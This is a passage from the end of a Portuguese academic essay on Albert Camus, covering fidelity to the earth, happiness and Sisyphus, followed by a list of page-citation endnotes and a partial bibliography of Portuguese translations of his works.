escritor/público, cativando todos aqueles que, se bem que dele
distantes no tempo, são dele contemporâneos nas questões
colocadas à condição humana.


O
homem camusiano é, acima de tudo, fiel; com os dois pés
assentes no chão, tem como objectivo permanecer fiel à
terra e, nascido de uma espécie de acaso, também num
lugar de acaso, faz disso a sua vida e a sua própria vocação.
É à terra que Camus dedica toda a sua atenção:
à terra onde vivem e morrem os homens, sem se afastar jamais
daquilo que os persegue e sem negar nenhuma das suas lutas! E é
no homem que Camus acreditava! Possuía uma profunda esperança
nas virtualidades redentoras do homem, esperança essa que o
levou a "imaginar Sísifo feliz" uma vez que este
renova diariamente a liberdade do seu sonho.


É
necessária uma leitura atenta para que seja possível
compreender que a procura da felicidade é o grande eco e a
grande memória de todas as suas obras. Mas quantas questões
permanecem no ar?!


Sem
nunca ter pretendido ser filósofo ou um grande pensador, Camus
acabou por sê-lo à sua maneira. No seu silêncio
definitivo os seus livros não nos deixam, jamais, de nos
interrogar.


E
atrevo-me, então, a concluir colocando na boca de Unamuno a
mensagem de Camus a todos aqueles que não podem viver privados
do diálogo e da amizade dos homens: (…) eu não
podia acreditar nessa atrocidade de um inferno, de uma eternidade de
dor, nem via inferno mais verdadeiro do que o nada e a sua
perspectiva. E continuo a crer que se todos nós acreditássemos
na nossa salvação do nada, todos seríamos
melhores
, in O Sentimento Trágico da Vida.











7- Notas



1
O Avesso e o Direito
, p.15


2
Ibid
., p.67


3
Ibid
., p. 68


4
Ibid.
, p.69


5
Ibid., p. 69


6
Ibid., pp.11 e 12


7
Ibid
., pp.20 e 21


8
Ibid., p. 14


9
Cartas a Um Amigo Alemão
., pp. 79, 83 e 84.


10
Actuais
., pp. 163/4


11
Ibid.,
p.163


12
Ibid
., p 165


13
O Mito de Sísifo, p.69


14
O Mito de Sísifo, pp. 151/2


15
Cartas a Um Amigo Alemão, p.81


16
O Mito de Sísifo, p.67.


17
O Avesso e o Direito, p.31


18
O Mito de Sísifo, p. 13.


19
Ibid., p.16


20
As Núpcias, pp.14/15


21
Ibid., p.22


22
Ibid., p.50


23
O Avesso e o Direito, pp.40/1


24
La Métaphysique du bonheur, p.30


25
O Avesso e o Direito, p.52


26
O Mito de Sísifo, p.52


27
Ibid., p.44


28
O Mito de Sísifo, p.27


29
Ibid., p.25


30
Ibid., pp.26/7


31
Ibid., pp.28/9 e 33


32
Ibid., pp.160/1


33
Ibid., p.23


34
Ibid., pp.31/2


35
O Mito de Sísifo, pp.26/7


36
A Queda, pp.171/1


37
Calígula, p.101


38
O Mito de Sísifo, p.73


39
Ibid., p.93


40
Ibid., p74


41
O Avesso e o Direito, p.40


42
O Homem Revoltado, p.218


43
O Mito de Sísifo, p.66


44
Ibid., p.66


45
Ibid., p.55


46
Ibid., p.72


47
O Mal-entendido, p.239


48
O Avesso e o Direito, p.27


49
O Mito de Sísifo, p.30


50
O Mito de Sísifo, p.80.


51
Ibid., pp69/70


52
Ibid., p.21


53
Ibid., p.73


54
Ibid., p.73


55
Ibid., p.86


56
Ibid., p.76


57
Ibid., p.80


58
Ibid., p.77


59
Ibid., pp.141/2


60
Calígula, p.22/3


61
Ibid., pp101/2


62
Ibid., p.24


63
Ibid., p-43/4


64
Ibid., pp.62/3


65
Ibid., p.69


66
Ibid., p.93


67
Ibid., p.163/4


68
O Mito de Sísifo, p.150


69
Ibid., p.85


70
Ibid., pp.79/80


71
Ibid., p.76


72
Ibid., pp.93/4


73
Ibid., pp100/01/03


74
Ibid., pp.142/3


75
Ibid., pp.71, 76 e 88


76
Ibid., p.67


77
O Mal-entendido, p.284


78
Ibid., p.272


79
Ibid., p.273


80
Ibid., pp206/7, 213/6


81
Ibid., p.282


82
Ibid., p.285


83
O Homem Revoltado, p.37


84
Ibid., p.20


85
Ibid., pp.20/1


86
Ibid., p.32


87
Ibid., p.42


88
Ibid., p.41


89
Ibid., pp.32/3

8- Bibliografia






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      Albert, Actuais, Trad. De J. C.González e J. Serrano,
      Ed. Livros do Brasil, Lisboa, s/d.
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    • Calígula, Trad. De R. Carvalho, Ed. Livros do Brasil,
      Lisboa, s/d.
    • Cartas a Um Amigo Alemão, Trad. De J. C. González
      e J. Serrano, Ed. Livros do Brasil, Lisboa, s/d
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    • O Estrangeiro, Trad. De A Quadros, Ed. Livros do Brasil.
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    • O Homem Revoltado, Trad. de Virgínia Motta, ed. Livros
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    • O Mal-entendido, Trad. De Raúl de Carvalho, Ed. Livros
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      Livros do Brasil, Lisboa, s/d.


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